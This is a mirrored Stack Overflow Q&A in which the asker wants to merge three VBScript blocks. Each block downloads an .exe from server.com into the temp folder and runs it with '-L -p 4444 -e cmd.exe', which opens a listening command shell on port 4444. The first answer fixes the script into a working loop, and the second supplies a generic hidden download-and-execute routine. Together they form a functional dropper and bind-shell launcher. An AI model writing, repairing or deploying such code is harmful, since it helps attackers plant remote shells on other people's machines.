【问题标题】:How can I combine multiple .vbs script of the same function into one .vbs?如何将同一函数的多个 .vbs 脚本合并为一个 .vbs?
【发布时间】:2020-01-31 11:58:08
【问题描述】:

我正在尝试将以下 .vbs 脚本合并为一个 .vbs。以下是我的代码示例:

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download1.exe" 'Where to download the file from
FILENAME = "%Tmp%\download1.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download1.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download2.exe" 'Where to download the file from
FILENAME = "%Tmp%\download2.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download2.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download3.exe" 'Where to download the file from
FILENAME = "%Tmp%\download3.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download3.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

当我尝试运行上面的代码时,总是遇到如下图所示的错误:

Operation is not allowed when the object is open

解决此问题或让脚本等待并完成后再继续下一个的最佳解决方案。将不胜感激。

我尝试过的: 我试过使用: 接下来,WScript.Sleep 1000 和延迟语法,但没有一个按预期工作。

【问题讨论】:

    标签: vbscript


    【解决方案1】:

    除了报告的问题之外,我还发现您的示例脚本存在其他几个问题:未关闭 ADODB.Stream。例如,对以前 DIM 的变量进行重新 DIM、Next 没有 For、缺乏代码重用等。

    看看这是否有帮助(未经测试):

    dim http_obj : set http_obj = CreateObject("Microsoft.XMLHTTP")
    dim stream_obj : set stream_obj = CreateObject("ADODB.Stream")
    dim shell_obj : set shell_obj = CreateObject("WScript.Shell")
    dim i, download, URL, FILENAME, RUNCMD
    
    For i = 1 To 3
        download = "download" & CStr(i) & ".exe"
    
        URL = "http://server.com/" & download 'Where to download the file from
        http_obj.open "GET", URL, False
        http_obj.send
    
        FILENAME = "%Tmp%\" & download 'Name to save the file (on the local system)
        stream_obj.type = 1
        stream_obj.open
        stream_obj.write http_obj.responseBody
        stream_obj.savetofile FILENAME, 2
        stream_obj.close
    
        RUNCMD = FILENAME & " -L -p 4444 -e cmd.exe"
        shell_obj.run RUNCMD
    Next
    

    我还可能会建议一些错误处理,在使用 responseBody 之前检查 http_obj 状态以获得正确的响应代码,在运行 RUNCMD 之前检查文件是否存在,如果文件很大并且您可能会在流关闭和 RUNCMD 之间短暂休眠启用读写扫描。

    享受吧。

    【讨论】:

    • 拜托我需要下载和执行多个文件。我该如何接受?
    • 我已经厌倦了这种方法,但它对我不起作用。
    【解决方案2】:

    这是一个从互联网下载一些图像并执行它们的示例,因此您可以从这段代码中获得灵感并将其更改为您的目的:

    Option Explicit
    Dim ws,TempFolder,Arr_Images,Img,Save2File
    Set ws = CreateObject("WScript.Shell")
    TempFolder = ws.ExpandEnvironmentStrings("%Temp%")
    
    Arr_Images = Array(_
    "https://apod.nasa.gov/apod/image/2001/DesertEclipse_Daviron_960.jpg",_
    "https://apod.nasa.gov/apod/image/2001/ic410_WISEantonucci_960.jpg",_
    "https://apod.nasa.gov/apod/image/2001/StoneyWay_Jacobs_960.jpg",_
    "https://apod.nasa.gov/apod/image/2001/RubinsGalaxy_hst1024.jpg",_
    "https://images.pexels.com/photos/414612/pexels-photo-414612.jpeg"_
    )
    
    For each Img in Arr_Images
        Save2File = TempFolder & "\" & GetFileNamefromDirectLink(Img)
        Download Img,Save2File
        Execute Save2File
    Next
    wscript.echo "Done"
    '----------------------------------------------------------------------------------------------------
    Sub Download(URL,Save2File)
        Dim File,Line,BS,ws
        On Error Resume Next
        Set File = CreateObject("WinHttp.WinHttpRequest.5.1")
        File.Open "GET",URL, False
        File.Send()
        If err.number <> 0 then
            Line  = Line &  vbcrlf & "Error Getting File"
            Line  = Line &  vbcrlf & "Error " & err.number & "(0x" & hex(err.number) & ") " &  vbcrlf &_
            err.description
            Line  = Line &  vbcrlf & "Source " & err.source
            MsgBox Line,vbCritical,"Error getting file"
            Err.clear
            wscript.quit
        End If
        If File.Status = 200 Then ' File exists and it is ready to be downloaded
            Set BS = CreateObject("ADODB.Stream")
            Set ws = CreateObject("wscript.Shell")
            BS.type = 1
            BS.open
            BS.Write File.ResponseBody
            BS.SaveToFile Save2File, 2
        ElseIf File.Status = 404 Then
            MsgBox "File Not found : " & File.Status,vbCritical,"Error File Not Found"
        Else
            MsgBox "Unknown Error : " & File.Status,vbCritical,"Error getting file"
        End If
    End Sub
    '-------------------------------------------------------------------------------------------------
    Function GetFileNamefromDirectLink(URL)
        Dim ArrFile,FileName
        ArrFile = Split(URL,"/")
        FileName = ArrFile(UBound(ArrFile))
        GetFileNamefromDirectLink = FileName
    End Function
    '-------------------------------------------------------------------------------------------------
    Function Execute(StrCmd)
            Dim ws,MyCmd,Result
            Set ws = CreateObject("wscript.Shell")
            MyCmd = "CMD /C " & StrCmd & " "
            Result = ws.run(MyCmd,0,True)
            Execute = Result
    End Function
    '-------------------------------------------------------------------------------------------------
    

    【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2021-02-25
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多